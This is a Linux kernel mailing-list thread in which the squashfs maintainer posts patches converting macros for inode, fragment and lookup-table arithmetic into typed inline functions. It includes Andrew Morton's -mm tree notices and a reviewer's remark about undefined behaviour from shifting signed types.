@@ -32,4 +32,23 @@ static inline bool squashfs_compressed_b {return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; } + +/* +* Inode number ops. Inodes consist of a compressed block number, and an +* uncompressed offset within that block +*/ +static inline u32 squashfs_inode_blk (s64 inode) +{ +return inode >>16 ; +} + +static inline u16 squashfs_inode_offset (s64 inode) +{ +return inode &0xffff ; +} + +static inline s64 squashfs_mkinode (u32 start,u16 offset) +{ +return ((s64 )start <<16 ) | offset; +}#endif
fs/squashfs/super.c renamed from fs/squashfs/super.c~squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions +2 -1
@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "xattr.h"
@@ -286,7 +287,7 @@ static int squashfs_fill_super(struct su/* Check the root inode for sanity */ root_inode =le64_to_cpu (sblk->root_inode); -if (SQUASHFS_INODE_OFFSET (root_inode) >SQUASHFS_METADATA_SIZE ) +if (squashfs_inode_offset (root_inode) >SQUASHFS_METADATA_SIZE ) goto insanity; msblk->inode_table =le64_to_cpu (sblk->inode_table_start);
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Re: [PATCH v3 02/23] Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
In reply to Phillip LougherQuoted 172 lines · On Mon, 23 Nov 2026 03:42:43 +0000 Phillip Lougher <[email protected]>…
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
Signed-off-by Phillip Lougher <[email protected]>---
v2:
- Removesquashfs_inode_offset()additions to TRACE statements. This is now a separate patch.--- fs/squashfs/inode.c | 24 +++++++++++++----------- fs/squashfs/namei.c | 3 ++- fs/squashfs/squashfs_fs.h | 11 ----------- fs/squashfs/squashfs_helpers.h | 19 +++++++++++++++++++ fs/squashfs/super.c | 3 ++- 5 files changed, 36 insertions(+), 24 deletions(-)fs/squashfs/inode.c +13
-11@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h" @@ -108,8 +109,9 @@ int squashfs_read_inode(struct inode *inode, long long ino) {struct super_block *sb = inode->i_sb;struct squashfs_sb_info *msblk = sb->s_fs_info; -u64 block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; -int err, type, offset =SQUASHFS_INODE_OFFSET (ino); +u64 block =squashfs_inode_blk (ino) + msblk->inode_table; +int offset =squashfs_inode_offset (ino); +int err, type;union squashfs_inode squashfs_ino;struct squashfs_base_inode *sqshb_ino = &squashfs_ino.base;int xattr_id =SQUASHFS_INVALID_XATTR ;@@ -128,8 +130,8 @@ int squashfs_read_inode(struct inode *inode, long long ino)if (err) goto failed_read; - block =SQUASHFS_INODE_BLK (ino) + msblk->inode_table; - offset =SQUASHFS_INODE_OFFSET (ino); + block =squashfs_inode_blk (ino) + msblk->inode_table; + offset =squashfs_inode_offset (ino); type =le16_to_cpu (sqshb_ino->inode_type);switch (type) {@@ -181,7 +183,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }@@ -241,7 +243,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) inode->i_data.a_ops = &squashfs_aops;TRACE ("File inode %x:%x, start_block %llx, block_list_start " -"%llx, offset %x\n" ,SQUASHFS_INODE_BLK (ino), +"%llx, offset %x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start, block, offset);break ; }@@ -264,7 +266,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Directory inode %x:%x, start_block %llx, offset %x\n" , -SQUASHFS_INODE_BLK (ino), offset, +squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;@@ -291,7 +293,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =le32_to_cpu (sqsh_ino->parent_inode);TRACE ("Long directory inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset,squashfs_i (inode)->start,le16_to_cpu (sqsh_ino->offset));break ;@@ -335,7 +337,7 @@ int squashfs_read_inode(struct inode *inode, long long ino) }TRACE ("Symbolic link inode %x:%x, start_block %llx, offset " -"%x\n" ,SQUASHFS_INODE_BLK (ino), offset, +"%x\n" ,squashfs_inode_blk (ino), offset, block, offset);break ; }@@ -359,7 +361,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_LBLKDEV_TYPE :@@ -384,7 +386,7 @@ int squashfs_read_inode(struct inode *inode, long long ino)squashfs_i (inode)->parent =0 ;TRACE ("Device inode %x:%x, rdev %x\n" , -SQUASHFS_INODE_BLK (ino), offset, rdev); +squashfs_inode_blk (ino), offset, rdev);break ; }case SQUASHFS_FIFO_TYPE :fs/squashfs/namei.c +2
-1@@ -49,6 +49,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "xattr.h" @@ -197,7 +198,7 @@ static struct dentry *squashfs_lookup(struct inode *dir, struct dentry *dentry, off =le16_to_cpu (dire->offset); ino_num =le32_to_cpu (dirh.inode_number) + (short )le16_to_cpu (dire->inode_number); - ino =SQUASHFS_MKINODE (blk, off); + ino =squashfs_mkinode (blk, off); TRACE("calling squashfs_iget for directory " "entry %s, inode %x:%x, %d\n", name,fs/squashfs/squashfs_fs.h +0
-11@@ -107,17 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* -* Inode number ops. Inodes consist of a compressed block number, and an -* uncompressed offset within that block -*/ -#define SQUASHFS_INODE_BLK (A ) ((unsigned int) ((A) >> 16)) - -#define SQUASHFS_INODE_OFFSET (A ) ((unsigned int) ((A) & 0xffff)) - -#define SQUASHFS_MKINODE (A ,B ) ((long long)(((long long) (A)\ - << 16) + (B))) -/* fragment and fragment table defines */ #define SQUASHFS_FRAGMENT_BYTES (A ) \ ((A) * sizeof(struct squashfs_fragment_entry))fs/squashfs/squashfs_helpers.h +0
-0@@ -32,4 +32,23 @@ static inline bool squashfs_compressed_block(s32 size) {
fs/squashfs/squashfs_helpers.h static inline bool squashfs_compressed_block(s32 size) · line 42
Quoted 10 lines
fs/squashfs/squashfs_helpers.h +8
-0return (size &SQUASHFS_COMPRESSED_BIT_BLOCK ) ==0 ; } + +/* +* Inode number ops. Inodes consist of a compressed block number, and an +* uncompressed offset within that block +*/ +static inline u32 squashfs_inode_blk (s64 inode) +{ +return inode >>16 ;
Do you really have signed inode numbers?
Shifting signed types is likely to hit UB.
David
Quoted 33 lines
fs/squashfs/squashfs_helpers.h +11
-0+} + +static inline u16 squashfs_inode_offset (s64 inode) +{ +return inode &0xffff ; +} + +static inline s64 squashfs_mkinode (u32 start,u16 offset) +{ +return ((s64 )start <<16 ) | offset; +}#endif fs/squashfs/super.c +2
-1@@ -33,6 +33,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" #include "decompressor.h" #include "xattr.h" @@ -286,7 +287,7 @@ static int squashfs_fill_super(struct super_block *sb, struct fs_context *fc)/* Check the root inode for sanity */ root_inode =le64_to_cpu (sblk->root_inode); -if (SQUASHFS_INODE_OFFSET (root_inode) >SQUASHFS_METADATA_SIZE ) +if (squashfs_inode_offset (root_inode) >SQUASHFS_METADATA_SIZE ) goto insanity; msblk->inode_table =le64_to_cpu (sblk->inode_table_start);
Phillip Lougher
maintainerPATCH v3 3/23 Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/fragment.c | 7 ++++--- fs/squashfs/squashfs_fs.h | 17 ----------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 31 insertions(+), 20 deletions(-)
fs/squashfs/fragment.c +4 -3
@@ -26,6 +26,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -42,8 +43,8 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,if (fragment >= msblk->fragments)return -EIO ; - block =SQUASHFS_FRAGMENT_INDEX (fragment); - offset =SQUASHFS_FRAGMENT_INDEX_OFFSET (fragment); + block =squashfs_fragment_index (fragment); + offset =squashfs_fragment_index_offset (fragment); start_block =le64_to_cpu (msblk->fragment_index[block]);
@@ -63,7 +64,7 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,__le64 *squashfs_read_fragment_index_table (struct super_block *sb,u64 fragment_table_start,u64 next_table,unsigned int fragments) { -unsigned int length =SQUASHFS_FRAGMENT_INDEX_BYTES (fragments); +unsigned int length =squashfs_fragment_index_bytes (fragments);__le64 *table;/*
fs/squashfs/squashfs_fs.h +0 -17
@@ -107,23 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* fragment and fragment table defines */ -#define SQUASHFS_FRAGMENT_BYTES (A ) \ - ((A) * sizeof(struct squashfs_fragment_entry)) - -#define SQUASHFS_FRAGMENT_INDEX (A ) (SQUASHFS_FRAGMENT_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_OFFSET (A ) (SQUASHFS_FRAGMENT_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEXES (A ) ((SQUASHFS_FRAGMENT_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_BYTES (A ) (SQUASHFS_FRAGMENT_INDEXES(A) *\ - sizeof(u64)) -/* inode lookup table defines */ #define SQUASHFS_LOOKUP_BYTES (A ) ((A) * sizeof(u64))
fs/squashfs/squashfs_helpers.h +27 -0
@@ -51,4 +51,31 @@ static inline s64 squashfs_mkinode(u32 start, u16 offset) {return ((s64 )start <<16 ) | offset; } + +/* fragment and fragment table defines */ +static inline s64 squashfs_fragment_bytes (u32 fragments) +{ +return fragments *sizeof (struct squashfs_fragment_entry ); +} + +static inline s32 squashfs_fragment_index (u32 fragments) +{ +return squashfs_fragment_bytes (fragments) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_fragment_index_offset (u32 fragments) +{ +return squashfs_fragment_bytes (fragments) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_fragment_indexes (u32 fragments) +{ +return (squashfs_fragment_bytes (fragments) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_fragment_index_bytes (u32 fragments) +{ +return squashfs_fragment_indexes (fragments) *sizeof (long long ); +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-convert-squashfs_fragment_-to-inline-functions.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-convert-squashfs_fragment_-to-inline-functions.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-convert-squashfs_fragment_-to-inline-functions.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
Date: Mon, 23 Nov 2026 03:42:44 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/fragment.c | 7 ++++--- fs/squashfs/squashfs_fs.h | 17 ----------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 31 insertions(+), 20 deletions(-)
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-convert-squashfs_fragment_-to-inline-functions +4 -3
@@ -26,6 +26,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -42,8 +43,8 @@ int squashfs_frag_lookup(struct super_blif (fragment >= msblk->fragments)return -EIO ; - block =SQUASHFS_FRAGMENT_INDEX (fragment); - offset =SQUASHFS_FRAGMENT_INDEX_OFFSET (fragment); + block =squashfs_fragment_index (fragment); + offset =squashfs_fragment_index_offset (fragment); start_block =le64_to_cpu (msblk->fragment_index[block]);
@@ -63,7 +64,7 @@ int squashfs_frag_lookup(struct super_bl__le64 *squashfs_read_fragment_index_table (struct super_block *sb,u64 fragment_table_start,u64 next_table,unsigned int fragments) { -unsigned int length =SQUASHFS_FRAGMENT_INDEX_BYTES (fragments); +unsigned int length =squashfs_fragment_index_bytes (fragments);__le64 *table;/*
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_fragment_-to-inline-functions +0 -17
@@ -107,23 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* fragment and fragment table defines */ -#define SQUASHFS_FRAGMENT_BYTES (A ) \ - ((A) * sizeof(struct squashfs_fragment_entry)) - -#define SQUASHFS_FRAGMENT_INDEX (A ) (SQUASHFS_FRAGMENT_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_OFFSET (A ) (SQUASHFS_FRAGMENT_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEXES (A ) ((SQUASHFS_FRAGMENT_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_FRAGMENT_INDEX_BYTES (A ) (SQUASHFS_FRAGMENT_INDEXES(A) *\ - sizeof(u64)) -/* inode lookup table defines */ #define SQUASHFS_LOOKUP_BYTES (A ) ((A) * sizeof(u64))
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_fragment_-to-inline-functions +27 -0
@@ -51,4 +51,31 @@ static inline s64 squashfs_mkinode(u32 s {return ((s64 )start <<16 ) | offset; } + +/* fragment and fragment table defines */ +static inline s64 squashfs_fragment_bytes (u32 fragments) +{ +return fragments *sizeof (struct squashfs_fragment_entry ); +} + +static inline s32 squashfs_fragment_index (u32 fragments) +{ +return squashfs_fragment_bytes (fragments) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_fragment_index_offset (u32 fragments) +{ +return squashfs_fragment_bytes (fragments) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_fragment_indexes (u32 fragments) +{ +return (squashfs_fragment_bytes (fragments) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_fragment_index_bytes (u32 fragments) +{ +return squashfs_fragment_indexes (fragments) *sizeof (long long ); +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 4/23 Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
--- fs/squashfs/export.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 16 ---------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 20 deletions(-)
fs/squashfs/export.c +5 -4
@@ -31,6 +31,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -39,8 +40,8 @@static long long squashfs_inode_lookup (struct super_block *sb,int ino_num) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int blk =SQUASHFS_LOOKUP_BLOCK (ino_num -1 ); -int offset =SQUASHFS_LOOKUP_BLOCK_OFFSET (ino_num -1 ); +int blk =squashfs_lookup_block (ino_num -1 ); +int offset =squashfs_lookup_block_offset (ino_num -1 );u64 start;__le64 ino;int err;
@@ -115,8 +116,8 @@ static struct dentry *squashfs_get_parent(struct dentry *child)__le64 *squashfs_read_inode_lookup_table (struct super_block *sb,u64 lookup_table_start,u64 next_table,unsigned int inodes) { -unsigned int length =SQUASHFS_LOOKUP_BLOCK_BYTES (inodes); -unsigned int indexes =SQUASHFS_LOOKUP_BLOCKS (inodes); +unsigned int length =squashfs_lookup_block_bytes (inodes); +unsigned int indexes =squashfs_lookup_blocks (inodes);int n;__le64 *table;u64 start, end;
fs/squashfs/squashfs_fs.h +0 -16
@@ -107,22 +107,6 @@ static inline int squashfs_block_size(__le32 raw)return (size >>25 ) ? -EIO : size; } -/* inode lookup table defines */ -#define SQUASHFS_LOOKUP_BYTES (A ) ((A) * sizeof(u64)) - -#define SQUASHFS_LOOKUP_BLOCK (A ) (SQUASHFS_LOOKUP_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_OFFSET (A ) (SQUASHFS_LOOKUP_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCKS (A ) ((SQUASHFS_LOOKUP_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_BYTES (A ) (SQUASHFS_LOOKUP_BLOCKS(A) *\ - sizeof(u64)) -/* uid/gid lookup table defines */ #define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int))
fs/squashfs/squashfs_helpers.h +27 -0
@@ -78,4 +78,31 @@ static inline s32 squashfs_fragment_index_bytes(u32 fragments) {return squashfs_fragment_indexes (fragments) *sizeof (long long ); } + +/* inode lookup table defines */ +static inline s64 squashfs_lookup_bytes (u32 inodes) +{ +return (s64 ) inodes *sizeof (s64); +} + +static inline s32 squashfs_lookup_block (u32 inodes) +{ +return squashfs_lookup_bytes (inodes) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_lookup_block_offset (u32 inodes) +{ +return squashfs_lookup_bytes (inodes) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_lookup_blocks (u32 inodes) +{ +return (squashfs_lookup_bytes (inodes) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_lookup_block_bytes (u32 inodes) +{ +return squashfs_lookup_blocks (inodes) *sizeof (long long ); +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-convert-squashfs_lookup_-to-inline-functions.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: convert SQUASHFS_LOOKUP_* to inline functions has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-convert-squashfs_lookup_-to-inline-functions.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-convert-squashfs_lookup_-to-inline-functions.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
Date: Mon, 23 Nov 2026 03:42:45 +0000
Convert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
3. Inline functions are easier to read than #define macros, which improves code comprehension.
fs/squashfs/export.c | 9 +++++---- fs/squashfs/squashfs_fs.h | 16 ---------------- fs/squashfs/squashfs_helpers.h | 27 +++++++++++++++++++++++++++ 3 files changed, 32 insertions(+), 20 deletions(-)
fs/squashfs/export.c renamed from fs/squashfs/export.c~squashfs-convert-squashfs_lookup_-to-inline-functions +5 -4
@@ -31,6 +31,7 @@#include "squashfs_fs.h" #include "squashfs_fs_sb.h" #include "squashfs_fs_i.h" +#include "squashfs_helpers.h" #include "squashfs.h" /*
@@ -39,8 +40,8 @@static long long squashfs_inode_lookup (struct super_block *sb,int ino_num) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int blk =SQUASHFS_LOOKUP_BLOCK (ino_num -1 ); -int offset =SQUASHFS_LOOKUP_BLOCK_OFFSET (ino_num -1 ); +int blk =squashfs_lookup_block (ino_num -1 ); +int offset =squashfs_lookup_block_offset (ino_num -1 );u64 start;__le64 ino;int err;
@@ -115,8 +116,8 @@ static struct dentry *squashfs_get_paren__le64 *squashfs_read_inode_lookup_table (struct super_block *sb,u64 lookup_table_start,u64 next_table,unsigned int inodes) { -unsigned int length =SQUASHFS_LOOKUP_BLOCK_BYTES (inodes); -unsigned int indexes =SQUASHFS_LOOKUP_BLOCKS (inodes); +unsigned int length =squashfs_lookup_block_bytes (inodes); +unsigned int indexes =squashfs_lookup_blocks (inodes);int n;__le64 *table;u64 start, end;
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-convert-squashfs_lookup_-to-inline-functions +0 -16
@@ -107,22 +107,6 @@ static inline int squashfs_block_size(__return (size >>25 ) ? -EIO : size; } -/* inode lookup table defines */ -#define SQUASHFS_LOOKUP_BYTES (A ) ((A) * sizeof(u64)) - -#define SQUASHFS_LOOKUP_BLOCK (A ) (SQUASHFS_LOOKUP_BYTES(A) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_OFFSET (A ) (SQUASHFS_LOOKUP_BYTES(A) % \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCKS (A ) ((SQUASHFS_LOOKUP_BYTES(A) + \ - SQUASHFS_METADATA_SIZE - 1) / \ - SQUASHFS_METADATA_SIZE) - -#define SQUASHFS_LOOKUP_BLOCK_BYTES (A ) (SQUASHFS_LOOKUP_BLOCKS(A) *\ - sizeof(u64)) -/* uid/gid lookup table defines */ #define SQUASHFS_ID_BYTES (A ) ((A) * sizeof(unsigned int))
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-convert-squashfs_lookup_-to-inline-functions +27 -0
@@ -78,4 +78,31 @@ static inline s32 squashfs_fragment_inde {return squashfs_fragment_indexes (fragments) *sizeof (long long ); } + +/* inode lookup table defines */ +static inline s64 squashfs_lookup_bytes (u32 inodes) +{ +return (s64 ) inodes *sizeof (s64); +} + +static inline s32 squashfs_lookup_block (u32 inodes) +{ +return squashfs_lookup_bytes (inodes) /SQUASHFS_METADATA_SIZE ; +} + +static inline s16 squashfs_lookup_block_offset (u32 inodes) +{ +return squashfs_lookup_bytes (inodes) %SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_lookup_blocks (u32 inodes) +{ +return (squashfs_lookup_bytes (inodes) + (SQUASHFS_METADATA_SIZE -1 )) / +SQUASHFS_METADATA_SIZE ; +} + +static inline s32 squashfs_lookup_block_bytes (u32 inodes) +{ +return squashfs_lookup_blocks (inodes) *sizeof (long long ); +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 5/23 Squashfs: convert SQUASHFS_ID_* to inline functions
In reply to Phillip LougherConvert old fashioned #define macros into inline functions. This has the following improvements:
1. Inline functions are typed, which makes the width and signedness of input and outputs explicit, which reduces errors.
2. The inline functions enable more sanity checking to be added in later commits.
